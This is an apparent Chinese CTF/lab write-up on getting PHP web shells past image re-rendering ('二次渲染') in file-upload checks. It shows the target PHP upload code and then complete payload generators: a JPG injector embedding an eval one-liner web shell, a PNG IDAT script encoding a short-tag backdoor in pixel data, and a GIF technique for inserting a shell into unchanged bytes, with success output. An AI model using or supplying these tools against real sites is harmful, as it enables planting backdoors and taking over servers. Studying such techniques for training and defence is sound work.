文件上传之二次渲染

二次渲染绕过

二次渲染绕过

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型，合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片！";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错！";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片！";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错！";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片！";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错！";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
    }
}

提示:本pass重新渲染了图片！

如果上传之前的图片马，由于二次渲染里面的一句话会被清除

img

JPG

jpg_payload.php

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<?php
	/*

	The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
	It is necessary that the size and quality of the initial image are the same as those of the processed image.

	1) Upload an arbitrary image via secured files upload script
	2) Save the processed image and launch:
	jpg_payload.php <jpg_name.jpg>

	In case of successful injection you will get a specially crafted image, which should be uploaded again.

	Since the most straightforward injection method is used, the following problems can occur:
	1) After the second processing the injected data may become partially corrupted.
	2) The jpg_payload.php script outputs "Something's wrong".
	If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

	Sergey Bobrov @Black2Fan.

	See also:
	https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

	*/

	$miniPayload = '<?php @eval($_REQUEST[peak]);?>';

	if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    	die('php-gd is not installed');
	}
	
	if(!isset($argv[1])) {
		die('php jpg_payload.php <jpg_name.jpg>');
	}

	set_error_handler("custom_error_handler");

	for($pad = 0; $pad < 1024; $pad++) {
		$nullbytePayloadSize = $pad;
		$dis = new DataInputStream($argv[1]);
		$outStream = file_get_contents($argv[1]);
		$extraBytes = 0;
		$correctImage = TRUE;

		if($dis->readShort() != 0xFFD8) {
			die('Incorrect SOI marker');
		}

		while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
			$marker = $dis->readByte();
			$size = $dis->readShort() - 2;
			$dis->skip($size);
			if($marker === 0xDA) {
				$startPos = $dis->seek();
				$outStreamTmp = 
					substr($outStream, 0, $startPos) . 
					$miniPayload . 
					str_repeat("\0",$nullbytePayloadSize) . 
					substr($outStream, $startPos);
				checkImage('_'.$argv[1], $outStreamTmp, TRUE);
				if($extraBytes !== 0) {
					while((!$dis->eof())) {
						if($dis->readByte() === 0xFF) {
							if($dis->readByte !== 0x00) {
								break;
							}
						}
					}
					$stopPos = $dis->seek() - 2;
					$imageStreamSize = $stopPos - $startPos;
					$outStream = 
						substr($outStream, 0, $startPos) . 
						$miniPayload . 
						substr(
							str_repeat("\0",$nullbytePayloadSize).
								substr($outStream, $startPos, $imageStreamSize),
							0,
							$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
								substr($outStream, $stopPos);
				} elseif($correctImage) {
					$outStream = $outStreamTmp;
				} else {
					break;
				}
				if(checkImage('payload_'.$argv[1], $outStream)) {
					die('Success!');
				} else {
					break;
				}
			}
		}
	}
	unlink('payload_'.$argv[1]);
	die('Something\'s wrong');

	function checkImage($filename, $data, $unlink = FALSE) {
		global $correctImage;
		file_put_contents($filename, $data);
		$correctImage = TRUE;
		imagecreatefromjpeg($filename);
		if($unlink)
			unlink($filename);
		return $correctImage;
	}

	function custom_error_handler($errno, $errstr, $errfile, $errline) {
		global $extraBytes, $correctImage;
		$correctImage = FALSE;
		if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
			if(isset($m[1])) {
				$extraBytes = (int)$m[1];
			}
		}
	}

	class DataInputStream {
		private $binData;
		private $order;
		private $size;

		public function __construct($filename, $order = false, $fromString = false) {
			$this->binData = '';
			$this->order = $order;
			if(!$fromString) {
				if(!file_exists($filename) || !is_file($filename))
					die('File not exists ['.$filename.']');
				$this->binData = file_get_contents($filename);
			} else {
				$this->binData = $filename;
			}
			$this->size = strlen($this->binData);
		}

		public function seek() {
			return ($this->size - strlen($this->binData));
		}

		public function skip($skip) {
			$this->binData = substr($this->binData, $skip);
		}

		public function readByte() {
			if($this->eof()) {
				die('End Of File');
			}
			$byte = substr($this->binData, 0, 1);
			$this->binData = substr($this->binData, 1);
			return ord($byte);
		}

		public function readShort() {
			if(strlen($this->binData) < 2) {
				die('End Of File');
			}
			$short = substr($this->binData, 0, 2);
			$this->binData = substr($this->binData, 2);
			if($this->order) {
				$short = (ord($short[1]) << 8) + ord($short[0]);
			} else {
				$short = (ord($short[0]) << 8) + ord($short[1]);
			}
			return $short;
		}

		public function eof() {
			return !$this->binData||(strlen($this->binData) === 0);
		}
	}
?>

随便找一个jpg图片,先上传至服务器然后再下载到本地保存为out.jpg.

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>php jpg_payload.php out.jpg
Success!

会生成payload_out.jpg(需要多尝试几张图片,有的图片会失败)

img

PNG

写入IDAT数据块

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<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行后得到1.png.上传后下载到本地打开如下图16082.png

img

注意生成后的后门使用的时短标签，服务器需要开启short_open_tag = On

利用成功

img

GIF

二次渲染，最好制作的图片马就是.gif，比较渲染前后没有改变的部分，在没改变的这部分添加一句话

获得二次渲染gif代码：

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<?php
$newgif = imagecreatefromgif('.\in.gif');          
imagegif($newgif,'.\out.gif');                                    
?>

对比in.gif和out.gif,比较渲染前后没有改变的部分，在没改变的这部分添加一句话

img

利用成功

img

CTF WEB
文件上传

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